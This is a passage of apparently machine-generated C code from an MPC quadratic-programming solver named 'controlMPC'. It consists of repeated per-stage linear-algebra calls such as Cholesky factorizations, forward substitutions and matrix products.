controlMPC_Phi03); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi03, controlMPC_C00, controlMPC_V03); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi03, controlMPC_D01, controlMPC_W03); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W03, controlMPC_V03, controlMPC_Ysd03); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi03, controlMPC_rd03, controlMPC_Lbyrd03); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H5, controlMPC_llbbyslb04, controlMPC_lbIdx04, controlMPC_lubbysub04, controlMPC_ubIdx04, controlMPC_Phi04); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi04, controlMPC_C00, controlMPC_V04); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi04, controlMPC_D01, controlMPC_W04); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W04, controlMPC_V04, controlMPC_Ysd04); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi04, controlMPC_rd04, controlMPC_Lbyrd04); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H6, controlMPC_llbbyslb05, controlMPC_lbIdx05, controlMPC_lubbysub05, controlMPC_ubIdx05, controlMPC_Phi05); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi05, controlMPC_C00, controlMPC_V05); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi05, controlMPC_D01, controlMPC_W05); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W05, controlMPC_V05, controlMPC_Ysd05); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi05, controlMPC_rd05, controlMPC_Lbyrd05); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H7, controlMPC_llbbyslb06, controlMPC_lbIdx06, controlMPC_lubbysub06, controlMPC_ubIdx06, controlMPC_Phi06); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi06, controlMPC_C00, controlMPC_V06); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi06, controlMPC_D01, controlMPC_W06); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W06, controlMPC_V06, controlMPC_Ysd06); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi06, controlMPC_rd06, controlMPC_Lbyrd06); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H8, controlMPC_llbbyslb07, controlMPC_lbIdx07, controlMPC_lubbysub07, controlMPC_ubIdx07, controlMPC_Phi07); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi07, controlMPC_C00, controlMPC_V07); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi07, controlMPC_D01, controlMPC_W07); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W07, controlMPC_V07, controlMPC_Ysd07); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi07, controlMPC_rd07, controlMPC_Lbyrd07); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H9, controlMPC_llbbyslb08, controlMPC_lbIdx08, controlMPC_lubbysub08, controlMPC_ubIdx08, controlMPC_Phi08); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi08, controlMPC_C00, controlMPC_V08); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi08, controlMPC_D01, controlMPC_W08); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W08, controlMPC_V08, controlMPC_Ysd08); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi08, controlMPC_rd08, controlMPC_Lbyrd08); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H10, controlMPC_llbbyslb09, controlMPC_lbIdx09, controlMPC_lubbysub09, controlMPC_ubIdx09, controlMPC_Phi09); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi09, controlMPC_C00, controlMPC_V09); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi09, controlMPC_D01, controlMPC_W09); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W09, controlMPC_V09, controlMPC_Ysd09); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi09, controlMPC_rd09, controlMPC_Lbyrd09); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H11, controlMPC_llbbyslb10, controlMPC_lbIdx10, controlMPC_lubbysub10, controlMPC_ubIdx10, controlMPC_Phi10); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi10, controlMPC_C00, controlMPC_V10); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi10, controlMPC_D01, controlMPC_W10); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W10, controlMPC_V10, controlMPC_Ysd10); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi10, controlMPC_rd10, controlMPC_Lbyrd10); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H12, controlMPC_llbbyslb11, controlMPC_lbIdx11, controlMPC_lubbysub11, controlMPC_ubIdx11, controlMPC_Phi11); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi11, controlMPC_C00, controlMPC_V11); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi11, controlMPC_D01, controlMPC_W11); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W11, controlMPC_V11, controlMPC_Ysd11); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi11, controlMPC_rd11, controlMPC_Lbyrd11); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H13, controlMPC_llbbyslb12, controlMPC_lbIdx12, controlMPC_lubbysub12, controlMPC_ubIdx12, controlMPC_Phi12); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi12, controlMPC_C00, controlMPC_V12); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi12, controlMPC_D01, controlMPC_W12); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W12, controlMPC_V12, controlMPC_Ysd12); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi12, controlMPC_rd12, controlMPC_Lbyrd12); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H14, controlMPC_llbbyslb13, controlMPC_lbIdx13, controlMPC_lubbysub13, controlMPC_ubIdx13, controlMPC_Phi13); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi13, controlMPC_C00, controlMPC_V13); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi13, controlMPC_D01, controlMPC_W13); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W13, controlMPC_V13, controlMPC_Ysd13); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi13, controlMPC_rd13, controlMPC_Lbyrd13); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H15, controlMPC_llbbyslb14, controlMPC_lbIdx14, controlMPC_lubbysub14, controlMPC_ubIdx14, controlMPC_Phi14); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi14, controlMPC_C00, controlMPC_V14); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi14, controlMPC_D01, controlMPC_W14); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W14, controlMPC_V14, controlMPC_Ysd14); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi14, controlMPC_rd14, controlMPC_Lbyrd14); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H16, controlMPC_llbbyslb15, controlMPC_lbIdx15, controlMPC_lubbysub15, controlMPC_ubIdx15, controlMPC_Phi15); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi15, controlMPC_C00, controlMPC_V15); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi15, controlMPC_D01, controlMPC_W15); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W15, controlMPC_V15, controlMPC_Ysd15); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi15, controlMPC_rd15, controlMPC_Lbyrd15); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H17, controlMPC_llbbyslb16, controlMPC_lbIdx16, controlMPC_lubbysub16, controlMPC_ubIdx16, controlMPC_Phi16); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi16, controlMPC_C00, controlMPC_V16); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi16, controlMPC_D01, controlMPC_W16); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W16, controlMPC_V16, controlMPC_Ysd16); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi16, controlMPC_rd16, controlMPC_Lbyrd16); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H18, controlMPC_llbbyslb17, controlMPC_lbIdx17, controlMPC_lubbysub17, controlMPC_ubIdx17, controlMPC_Phi17); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi17, controlMPC_C00, controlMPC_V17); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi17, controlMPC_D01, controlMPC_W17); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W17, controlMPC_V17, controlMPC_Ysd17); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi17, controlMPC_rd17, controlMPC_Lbyrd17); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H19, controlMPC_llbbyslb18, controlMPC_lbIdx18, controlMPC_lubbysub18, controlMPC_ubIdx18, controlMPC_Phi18); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi18, controlMPC_C00, controlMPC_V18); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi18, controlMPC_D01, controlMPC_W18); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W18, controlMPC_V18, controlMPC_Ysd18); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi18, controlMPC_rd18, controlMPC_Lbyrd18); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H20, controlMPC_llbbyslb19, controlMPC_lbIdx19, controlMPC_lubbysub19, controlMPC_ubIdx19, controlMPC_Phi19); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi19, controlMPC_C00, controlMPC_V19); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi19, controlMPC_D01, controlMPC_W19); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W19, controlMPC_V19, controlMPC_Ysd19); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi19, controlMPC_rd19, controlMPC_Lbyrd19); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H21, controlMPC_llbbyslb20, controlMPC_lbIdx20, controlMPC_lubbysub20, controlMPC_ubIdx20, controlMPC_Phi20); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi20, controlMPC_C00, controlMPC_V20); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi20, controlMPC_D01, controlMPC_W20); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W20, controlMPC_V20, controlMPC_Ysd20); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi20, controlMPC_rd20, controlMPC_Lbyrd20); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H22, controlMPC_llbbyslb21, controlMPC_lbIdx21, controlMPC_lubbysub21, controlMPC_ubIdx21, controlMPC_Phi21); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi21, controlMPC_C00, controlMPC_V21); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi21, controlMPC_D01, controlMPC_W21); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W21, controlMPC_V21, controlMPC_Ysd21); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi21, controlMPC_rd21, controlMPC_Lbyrd21); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H23, controlMPC_llbbyslb22, controlMPC_lbIdx22, controlMPC_lubbysub22, controlMPC_ubIdx22, controlMPC_Phi22); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi22, controlMPC_C00, controlMPC_V22); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi22, controlMPC_D01, controlMPC_W22); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W22, controlMPC_V22, controlMPC_Ysd22); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi22, controlMPC_rd22, controlMPC_Lbyrd22); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H24, controlMPC_llbbyslb23, controlMPC_lbIdx23, controlMPC_lubbysub23, controlMPC_ubIdx23, controlMPC_Phi23); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi23, controlMPC_D01, controlMPC_W23); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi23, controlMPC_rd23, controlMPC_Lbyrd23); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V00, controlMPC_W01, controlMPC_Yd00); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V00, controlMPC_Lbyrd00, controlMPC_W01, controlMPC_Lbyrd01, controlMPC_re00, controlMPC_beta00); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V01, controlMPC_W02, controlMPC_Yd01); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V01, controlMPC_Lbyrd01, controlMPC_W02, controlMPC_Lbyrd02, controlMPC_re01, controlMPC_beta01); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V02, controlMPC_W03, controlMPC_Yd02); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V02, controlMPC_Lbyrd02, controlMPC_W03, controlMPC_Lbyrd03, controlMPC_re02, controlMPC_beta02); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V03, controlMPC_W04, controlMPC_Yd03); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V03, controlMPC_Lbyrd03, controlMPC_W04, controlMPC_Lbyrd04, controlMPC_re03, controlMPC_beta03); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V04, controlMPC_W05, controlMPC_Yd04); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V04, controlMPC_Lbyrd04, controlMPC_W05, controlMPC_Lbyrd05, controlMPC_re04, controlMPC_beta04); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V05, controlMPC_W06, controlMPC_Yd05); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V05, controlMPC_Lbyrd05, controlMPC_W06, controlMPC_Lbyrd06, controlMPC_re05, controlMPC_beta05); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V06, controlMPC_W07, controlMPC_Yd06); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V06, controlMPC_Lbyrd06, controlMPC_W07, controlMPC_Lbyrd07, controlMPC_re06, controlMPC_beta06); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V07, controlMPC_W08, controlMPC_Yd07); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V07, controlMPC_Lbyrd07, controlMPC_W08, controlMPC_Lbyrd08, controlMPC_re07, controlMPC_beta07); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V08, controlMPC_W09, controlMPC_Yd08); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V08, controlMPC_Lbyrd08, controlMPC_W09, controlMPC_Lbyrd09, controlMPC_re08, controlMPC_beta08); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V09, controlMPC_W10, controlMPC_Yd09); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V09, controlMPC_Lbyrd09, controlMPC_W10, controlMPC_Lbyrd10, controlMPC_re09, controlMPC_beta09); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V10, controlMPC_W11, controlMPC_Yd10); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V10, controlMPC_Lbyrd10, controlMPC_W11, controlMPC_Lbyrd11, controlMPC_re10, controlMPC_beta10); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V11, controlMPC_W12, controlMPC_Yd11); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V11, controlMPC_Lbyrd11, controlMPC_W12, controlMPC_Lbyrd12, controlMPC_re11, controlMPC_beta11); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V12, controlMPC_W13, controlMPC_Yd12); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V12, controlMPC_Lbyrd12, controlMPC_W13, controlMPC_Lbyrd13, controlMPC_re12, controlMPC_beta12); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V13, controlMPC_W14, controlMPC_Yd13); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V13, controlMPC_Lbyrd13, controlMPC_W14, controlMPC_Lbyrd14, controlMPC_re13, controlMPC_beta13); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V14, controlMPC_W15, controlMPC_Yd14); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V14, controlMPC_Lbyrd14, controlMPC_W15, controlMPC_Lbyrd15, controlMPC_re14, controlMPC_beta14); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V15, controlMPC_W16, controlMPC_Yd15); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V15, controlMPC_Lbyrd15, controlMPC_W16, controlMPC_Lbyrd16, controlMPC_re15, controlMPC_beta15); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V16, controlMPC_W17, controlMPC_Yd16); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V16, controlMPC_Lbyrd16, controlMPC_W17, controlMPC_Lbyrd17, controlMPC_re16, controlMPC_beta16); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V17, controlMPC_W18, controlMPC_Yd17); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V17, controlMPC_Lbyrd17, controlMPC_W18, controlMPC_Lbyrd18, controlMPC_re17, controlMPC_beta17); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V18, controlMPC_W19, controlMPC_Yd18); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V18, controlMPC_Lbyrd18, controlMPC_W19, controlMPC_Lbyrd19, controlMPC_re18, controlMPC_beta18); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V19, controlMPC_W20, controlMPC_Yd19); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V19, controlMPC_Lbyrd19, controlMPC_W20, controlMPC_Lbyrd20, controlMPC_re19, controlMPC_beta19); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V20, controlMPC_W21, controlMPC_Yd20); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V20, controlMPC_Lbyrd20, controlMPC_W21, controlMPC_Lbyrd21, controlMPC_re20, controlMPC_beta20); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V21, controlMPC_W22, controlMPC_Yd21); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V21, controlMPC_Lbyrd21, controlMPC_W22, controlMPC_Lbyrd22, controlMPC_re21, controlMPC_beta21); controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_V22, controlMPC_W23, controlMPC_Yd22); controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_V22, controlMPC_Lbyrd22, controlMPC_W23, controlMPC_Lbyrd23, controlMPC_re22, controlMPC_beta22); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd00, controlMPC_Ld00); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld00, controlMPC_beta00, controlMPC_yy00); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld00, controlMPC_Ysd01, controlMPC_Lsd01); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd01, controlMPC_Yd01); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd01, controlMPC_Ld01); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd01, controlMPC_yy00, controlMPC_beta01, controlMPC_bmy01); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld01, controlMPC_bmy01, controlMPC_yy01); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld01, controlMPC_Ysd02, controlMPC_Lsd02); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd02, controlMPC_Yd02); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd02, controlMPC_Ld02); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd02, controlMPC_yy01, controlMPC_beta02, controlMPC_bmy02); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld02, controlMPC_bmy02, controlMPC_yy02); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld02, controlMPC_Ysd03, controlMPC_Lsd03); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd03, controlMPC_Yd03); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd03, controlMPC_Ld03); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd03, controlMPC_yy02, controlMPC_beta03, controlMPC_bmy03); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld03, controlMPC_bmy03, controlMPC_yy03); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld03, controlMPC_Ysd04, controlMPC_Lsd04); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd04, controlMPC_Yd04); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd04, controlMPC_Ld04); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd04, controlMPC_yy03, controlMPC_beta04, controlMPC_bmy04); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld04, controlMPC_bmy04, controlMPC_yy04); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld04, controlMPC_Ysd05, controlMPC_Lsd05); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd05, controlMPC_Yd05); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd05, controlMPC_Ld05); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd05, controlMPC_yy04, controlMPC_beta05, controlMPC_bmy05); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld05, controlMPC_bmy05, controlMPC_yy05); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld05, controlMPC_Ysd06, controlMPC_Lsd06); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd06, controlMPC_Yd06); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd06, controlMPC_Ld06); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd06, controlMPC_yy05, controlMPC_beta06, controlMPC_bmy06); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld06, controlMPC_bmy06, controlMPC_yy06); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld06, controlMPC_Ysd07, controlMPC_Lsd07); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd07, controlMPC_Yd07); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd07, controlMPC_Ld07); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd07, controlMPC_yy06, controlMPC_beta07, controlMPC_bmy07); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld07, controlMPC_bmy07, controlMPC_yy07); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld07, controlMPC_Ysd08, controlMPC_Lsd08); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd08, controlMPC_Yd08); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd08, controlMPC_Ld08); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd08, controlMPC_yy07, controlMPC_beta08, controlMPC_bmy08); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld08, controlMPC_bmy08, controlMPC_yy08); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld08, controlMPC_Ysd09, controlMPC_Lsd09); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd09, controlMPC_Yd09); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd09, controlMPC_Ld09); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd09, controlMPC_yy08, controlMPC_beta09, controlMPC_bmy09); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld09, controlMPC_bmy09, controlMPC_yy09); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld09, controlMPC_Ysd10, controlMPC_Lsd10); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd10, controlMPC_Yd10); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd10, controlMPC_Ld10); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd10, controlMPC_yy09, controlMPC_beta10, controlMPC_bmy10); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld10, controlMPC_bmy10, controlMPC_yy10); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld10, controlMPC_Ysd11, controlMPC_Lsd11); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd11, controlMPC_Yd11); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd11, controlMPC_Ld11); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd11, controlMPC_yy10, controlMPC_beta11, controlMPC_bmy11); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld11, controlMPC_bmy11, controlMPC_yy11); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld11, controlMPC_Ysd12, controlMPC_Lsd12); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd12, controlMPC_Yd12); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd12, controlMPC_Ld12); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd12, controlMPC_yy11, controlMPC_beta12, controlMPC_bmy12); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld12, controlMPC_bmy12, controlMPC_yy12); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld12, controlMPC_Ysd13, controlMPC_Lsd13); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd13, controlMPC_Yd13); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd13, controlMPC_Ld13); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd13, controlMPC_yy12, controlMPC_beta13, controlMPC_bmy13); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld13, controlMPC_bmy13, controlMPC_yy13); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld13, controlMPC_Ysd14, controlMPC_Lsd14); 